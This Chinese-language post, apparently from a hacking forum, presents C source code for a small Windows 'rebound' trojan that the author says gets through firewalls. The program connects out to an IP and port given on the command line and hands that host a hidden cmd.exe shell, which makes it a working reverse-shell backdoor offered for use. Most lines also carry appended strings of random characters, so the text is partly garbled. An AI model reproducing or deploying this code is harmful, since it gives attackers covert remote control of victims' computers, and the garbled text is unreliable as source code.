这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 O,Q.-
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/* ============================== >X*tMhcb
Rebound port in Windows NT 7MKX`S
By wind,2006/7 KUAzJ[>
===============================*/ TN2Ln?[xU
#include ? nd:
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#include w7V\_^&Id
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#pragma comment(lib,"wsock32.lib") sS>b}u+v#!
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void OutputShell(); ~zqb{o^pT
SOCKET sClient; /,Xl8<~#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Hc)z:x;Sj
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void main(int argc,char **argv)
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{ HC%Hbc~S_Q
WSADATA stWsaData; !GqFX+!Ju
int nRet; ,@`?I6nKy
SOCKADDR_IN stSaiClient,stSaiServer; HEF
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if(argc != 3) fE-R(9K
{ 6_Fr \H
printf("Useage:\n\rRebound DestIP DestPort\n");
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return; ?Y(
} ,QY$:f<
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1qRquY
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b(Nv`'O
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stSaiClient.sin_family = AF_INET; 52w@.]
stSaiClient.sin_port = htons(0); fZG Y'o&5
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G,u=ngZ]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \i%'M%
{ HN7CcE+l
printf("Bind Socket Failed!\n"); wVBKVb9N
return; i(}PrA
} d1<";b2Jt^
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stSaiServer.sin_family = AF_INET; Hr|f(9xA
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <^5!]8*O
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2{-29bq
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s2;~FK#/
{ mci> MEb
printf("Connect Error!"); f[@96p?a[
return; o*cu-j3
} cq1 5@a mX
OutputShell();
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} 3U[O :
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void OutputShell() Hn|W3U
{ O=B=0
char szBuff[1024]; De?VZ2o9"
SECURITY_ATTRIBUTES stSecurityAttributes; fF@w:;u
OSVERSIONINFO stOsversionInfo; ;qshd'?*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `Ij@;=(
STARTUPINFO stStartupInfo; \T7Mt|f:5
char *szShell; (jT)o,IW&
PROCESS_INFORMATION stProcessInformation; Ep7MU&O0iK
unsigned long lBytesRead; 6 d-\+t8
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sy: xA w
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n5:uG'L\
stSecurityAttributes.lpSecurityDescriptor = 0; 5S~ H[>A"
stSecurityAttributes.bInheritHandle = TRUE; z$~x 2<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '!HTE`Aj
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ` 2lS@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n6/Ous
stStartupInfo.wShowWindow = SW_HIDE; (Ou%0
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stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kp m;ohd
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GetVersionEx(&stOsversionInfo); XkaREE
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switch(stOsversionInfo.dwPlatformId) bZqTT~'T
{ ]G/m,Zv*:
case 1: =RoG?gd{R
szShell = "command.com"; eV9U+]C`
break; Pvxb6\G&d
default: -`O{iHfM|P
szShell = "cmd.exe"; TZn
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break; %w`d
} m'o dVZ7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CMt<oT6.?
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send(sClient,szMsg,77,0); %yR XOt2(
while(1) "Xq_N4
{ Qb536RpcTY
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E&M(QX5
if(lBytesRead) -+R,="nRQ
{ vObZ|>.J~O
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MmF&jd-=
send(sClient,szBuff,lBytesRead,0); 70'OS:J=\
} B*,6;lCjX
else AO#9XDEM
{ 19!?oeOU
lBytesRead=recv(sClient,szBuff,1024,0); PX:#+bq1
if(lBytesRead<=0) break; ;Qi:j^+P)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,06Sm]4L,
} 'Y38VOI%
} w"hd_8cO
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return; ;%tFi
}